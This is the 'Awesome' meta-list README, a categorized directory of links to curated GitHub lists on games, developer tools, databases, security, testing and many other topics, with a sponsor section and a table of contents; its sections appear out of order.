- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<hr>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://standardresume.co/tech">
<img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/>
</a>
<br>
<br>
<a href="https://retool.com/?utm_campaign=sindresorhus">
<img src="https://sindresorhus.com/assets/thanks/retool-logo.svg" width="210"/>
</a>
<br>
<br>
<a href="https://doppler.com/?utm_campaign=github_repo&utm_medium=referral&utm_content=awesome&utm_source=github">
<div>
<img src="https://dashboard.doppler.com/imgs/logo-long.svg" width="230" alt="Doppler">
</div>
<b>All your environment variables, in one place</b>
<div>
<sub>Stop struggling with scattered API keys, hacking together home-brewed tools,</sub>
<br>
<sup>and avoiding access controls. Keep your team and servers in sync with Doppler.</sup>
</div>
</a>
<br>
<a href="https://workos.com/?utm_campaign=github_repo&utm_medium=referral&utm_content=awesome&utm_source=github">
<div>
<img src="https://sindresorhus.com/assets/thanks/workos-logo-white-bg.svg" width="200" alt="WorkOS">
</div>
<b>Your app, enterprise-ready.</b>
<div>
<sub>Start selling to enterprise customers with just a few lines of code.</sub>
<br>
<sup>Add Single Sign-On (and more) in minutes instead of months.</sup>
</div>
</a>
<br>
<a href="https://strapi.io/?ref=sindresorhus">
<div>
<img src="https://sindresorhus.com/assets/thanks/strapi-logo-white-bg.png" width="200" alt="Strapi">
</div>
<b>Strapi is the leading open-source headless CMS.</b>
<div>
<sup>It’s 100% JavaScript, fully customizable, and developer-first.</sup>
</div>
</a>
<br>
<a href="https://oss.capital">
<div>
<img src="https://sindresorhus.com/assets/thanks/oss-capital-logo-white-bg.svg" width="300" alt="OSS Capital">
</div>
<div>
<sup><b>Founded in 2018, OSS Capital is the first and only venture capital platform focused<br>exclusively on supporting early-stage COSS (commercial open source) startup founders.</b></sup>
</div>
</a>
<br>
<br>
<a href="https://bit.io/?utm_campaign=github_repo&utm_medium=referral&utm_content=awesome&utm_source=github">
<div>
<img src="https://sindresorhus.com/assets/thanks/bitio-logo.svg" width="190" alt="bit.io">
</div>
<b>Instant, shareable cloud PostgreSQL database</b>
<div>
<sup>Import any dataset in seconds, share with anyone with a click, try without signing up</sup>
</div>
</a>
<br>
<br>
<a href="https://www.gitpod.io/?utm_campaign=sindresorhus&utm_medium=referral&utm_content=awesome&utm_source=github">
<div>
<img src="https://sindresorhus.com/assets/thanks/gitpod-logo-white-bg.svg" width="220" alt="Gitpod">
</div>
<b>Dev environments built for the cloud</b>
<div>
<sub>
Natively integrated with GitLab, GitHub, and Bitbucket, Gitpod automatically and continuously prebuilds dev
<br>
environments for all your branches. As a result team members can instantly start coding with fresh dev environments
<br>
for each new task - no matter if you are building a new feature, want to fix a bug, or work on a code review.
</sub>
</div>
</a>
<br>
<br>
<a href="https://keygen.sh">
<div>
<img src="https://sindresorhus.com/assets/thanks/keygen-logo.svg" width="210" alt="Keygen">
</div>
<b>A dead-simple software licensing and distribution API built for developers</b>
</a>
<br>
<br>
<br>
<a href="https://getstream.io/chat/sdk/ios/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Jan2022_iOSChatSDK&utm_term=Sindresorhus#gh-light-mode-only">
<div>
<img src="https://sindresorhus.com/assets/thanks/stream-logo.svg" width="220" alt="Stream">
</div>
<br>
<div>
<b>Build Scalable Feeds & Chat Applications with Powerful APIs and Front End Components</b>
</div>
</a>
<a href="https://getstream.io/chat/sdk/ios/?utm_source=Github&utm_medium=Github_Repo_Content_Ad&utm_content=Developer&utm_campaign=Github_Jan2022_iOSChatSDK&utm_term=Sindresorhus#gh-dark-mode-only">
<div>
<img src="https://sindresorhus.com/assets/thanks/stream-logo-dark.svg" width="220" alt="Stream">
</div>
<br>
<div>
<b>Build Scalable Feeds & Chat Applications with Powerful APIs and Front End Components</b>
</div>
</a>
<br>
<br>
</p>
<hr>
<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [AppImage](https://github.com/AppImage/awesome-appimage#readme) - Package apps in a single file that works on various mainstream Linux distributions.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
